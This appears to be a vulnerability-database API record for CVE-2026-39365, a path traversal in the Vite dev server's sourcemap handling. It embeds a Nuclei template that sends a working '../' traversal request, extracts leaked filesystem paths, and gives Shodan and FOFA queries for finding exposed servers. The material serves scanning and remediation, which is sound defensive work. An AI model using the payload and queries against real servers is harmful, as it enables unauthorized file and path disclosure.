{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-39365/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-39365/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-39365/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-39365/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-39365/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-39365"},"sightings":{"href":"/api/v1/sightings/cve-2026-39365"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-39365.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2026-39365\n\ninfo:\n  name: Vite Dev Server - Path Traversal in Optimized Deps .map Handling\n  author: theamanrawat\n  severity: medium\n  description: |\n    Vite development server versions prior to 8.0.5, 7.3.2, and 6.4.2 are vulnerable to path traversal through the optimized dependencies sourcemap handler. The dev server's handling of .map requests for optimized dependencies resolves file paths via normalizePath(path.resolve(root, url.slice(1))) and calls readFile without restricting ../ segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve auto-generated sourcemaps for files located outside the project root, leaking absolute filesystem paths. Only dev servers explicitly exposed to the network using --host or server.host are affected.\n  impact: |\n    An attacker can trigger auto-generated sourcemap responses for files outside the project directory, leaking absolute filesystem paths and potentially reading .map files containing sensitive source code or configuration data.\n  remediation:\n    Upgrade Vite to version 8.0.5, 7.3.2, 6.4.2 or later.\n  reference:\n    - https://github.com/advisories/GHSA-4w7w-66w2-5vf9\n    - https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-39365\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-39365\n    epss-score: 0.00914\n    epss-percentile: 0.60254\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.html:\"/@vite/client\" port:\"5173\"\n    fofa-query: body=\"/@vite/client\" && port=\"5173\"\n  tags: cve,cve2026,vite,lfi,path-traversal,vuln,unauthenticated,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_1\n        words:\n          - \"/@vite/client\"\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - raw:\n      - |\n        GET /node_modules/.vite/deps/../../../config.production.js.map HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"\\\"version\\\":3\"\n          - \"\\\"mappings\\\"\"\n        condition: and\n\n      - type: regex\n        part: body\n        regex:\n          - \"\\\"file\\\":\\\"/\"\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - \"\\\"file\\\":\\\"([^\\\"]+)\\\"\"\n# digest: 4b0a00483046022100fdd8965f52ea576c45411a19a797c7b5a85568a7fa43f4b4d22a854caa9fd56e0221009ac9d7682a8f4e7416139f9d68fa3b7193ba2ddc8cee3c2d7dc04aa9350cc94c:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-39365"}